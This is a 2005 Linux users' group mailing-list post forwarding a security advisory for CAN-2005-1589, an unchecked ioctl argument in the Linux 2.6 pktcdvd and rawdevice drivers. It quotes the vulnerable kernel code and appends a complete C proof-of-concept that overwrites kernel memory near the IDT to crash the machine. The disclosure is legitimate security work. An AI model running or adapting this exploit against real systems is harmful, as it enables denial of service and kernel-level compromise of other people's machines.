[LUG.ro] Linux kernel pktcdvd and rawdevice ioctl break user space limit vulnerability
Sebastián D. Criado
lugro@lugro.org.ar
Wed, 18 May 2005 12:42:07 -0300
--nextPart2957770.ImjGSdbStT
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Les paso un bug muy interesante que salio hace 2 d=EDas.
Synopsis: Linux kernel pktcdvd and rawdevice ioctl break user space=20
limit vulnerability
Product: Linux kernel
Version: 2.6 up to and including 2.6.12-rc4
Vendor: http://www.kernel.org/
URL: =20
CVE: CAN-2005-1589
Severity: local(7)
Date: May 16, 2005
Issue:
=3D=3D=3D=3D=3D=3D
Two locally exploitable flaws have been found in the Linux rawdevice and=20
pktcdvd block device ioctl handler that allows local users to gain root=20
privileges and also execute arbitrary code at kernel privilege level.
Details:
=3D=3D=3D=3D=3D=3D=3D=3D
The Linux kernel contains pktcdvd and rawdevice block device components.=20
Due to the missing check Pktcdvd and rawdevice ioctl handler parameter,
the process can break user space limit and execute arbitrary code at=20
kernel privilege level.
Discussion:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The vulnerable code resides in drivers/block/pktcdvd.c in your =20
preferable version of the Linux kernel source code tree:
static int pkt_ioctl(struct inode *inode, struct file *file, unsigned=20
int cmd, unsigned long arg)
{
struct pktcdvd_device *pd =3D inode->i_bdev->bd_disk->private_data;
VPRINTK("pkt_ioctl: cmd %x, dev %d:%d\n", cmd, imajor(inode),=20
iminor(inode));
BUG_ON(!pd);
switch (cmd) {
/*
* forward selected CDROM ioctls to CD-ROM, for UDF
*/
case CDROMMULTISESSION:
case CDROMREADTOCENTRY:
case CDROM_LAST_WRITTEN:
case CDROM_SEND_PACKET:
case SCSI_IOCTL_SEND_COMMAND:
[*] return ioctl_by_bdev(pd->bdev, cmd, arg);
case CDROMEJECT:
/*
* The door gets locked when the device is opened, so we
* have to unlock it or else the eject command fails.
*/
pkt_lock_door(pd, 0);
[*] return ioctl_by_bdev(pd->bdev, cmd, arg);
default:
As can be seen from [*] the arg variable supplied to the ioctl_by_bdev()
function is not checked and user can input arg > TASK_SIZE value.
fs/block_dev.c
int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long ar=
g)
{
int res;
mm_segment_t old_fs =3D get_fs();
[**] set_fs(KERNEL_DS);
res =3D blkdev_ioctl(bdev->bd_inode, NULL, cmd, arg);
set_fs(old_fs);
return res;
}
However, for also support kernel space parameters ,ioctl_by_bdev() call [**=
]=20
set_fs(KERNEL_DS) to access parameters in kernel space . So if=20
ioctl_by_bdev() parameter arg > TASK_SIZE,the process can break user space=
=20
limit and rewrite kernel space data. Local user can execute arbitrary code=
=20
at kernel privilege level.
This exploit require user can read the block device.
Rawdevice is similar above
drivers/char/raw.c
static int
raw_ioctl(struct inode *inode, struct file *filp,
unsigned int command, unsigned long arg)
{
struct block_device *bdev =3D filp->private_data;
[*] return ioctl_by_bdev(bdev, command, arg);
}
CREDIT:
=3D=3D=3D=3D=3D=3D=3D=3D
alert7 ( wangwei@ssr.cn , alert7@xfocus.org ) discovery this vulnerability
Special thanks to ssr and xfocus guys:P
DISCLAIMER:
=3D=3D=3D=3D=3D=3D=3D=3D
The information in this bulletin is provided "AS IS" without warranty of any
kind. In no event shall we be liable for any damages whatsoever including=20
direct,
indirect, incidental, consequential, loss of business profits or special=20
damages.=20
ZHONGHANGJIAXIN INFORMATION TECHNOLOGY CO.,LTD (http://www.ssr.cn)
Copyright 2003-2005 ZHONGHANGJIAXIN. All Rights Reserved. Terms of use.
Security
Trusted {Solution} Provider
Service
Appendix:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
/* pktcdvd_dos.c proof-of-concept=20
* This is only a lame POC which will crash the machine, no root shell her=
e.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device=20
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS =
IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,=20
MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>
#define __NR_sys_ioctl __NR_ioctl
#define PKTCDVDDEVICE "/dev/hdc"
static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg=
);
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=3Dm" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;
printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)=3D=3D0xfe){
printf("[--]this kernel patched 4g/4g patch,no vulnerabili=
ty!
\n");
return -1;
}
ptr_idt=3Dget_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);
fd =3D open(PKTCDVDDEVICE,O_RDONLY);
if (fd =3D=3D-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}
=20
unsigned long WriteTo ;
if ( (ptr_idt>>24)=3D=3D0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo=3D ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo =3D 0xc0100000;
}
printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);
=20
int loopi;
for (loopi=3D0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout); =20
iret =3D sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret =3D=3D-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}
=2D-=20
Sebasti=E1n D. Criado - scriado{en}ciudad.com.ar
L.U.G.R.o - http://www.lugro.org.ar
GNU/Linux Registered User # 146768
=2D------------------------------------------------------------------
"Si el Universo fuera un programa estar=EDa hecho en C, y correr=EDa sobre
un sistema UNIX"
An=F3nimo.
=09
--nextPart2957770.ImjGSdbStT
Content-Type: application/pgp-signature
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)
iD8DBQBCi2Ja8hmHQ8ZCg0IRAsqhAJ4thB8NOrWGXklajVpkvP+kMj2tsQCff/KW
0btEOztMANpvQ5zpNwRaBYA=
=+ThE
-----END PGP SIGNATURE-----
--nextPart2957770.ImjGSdbStT--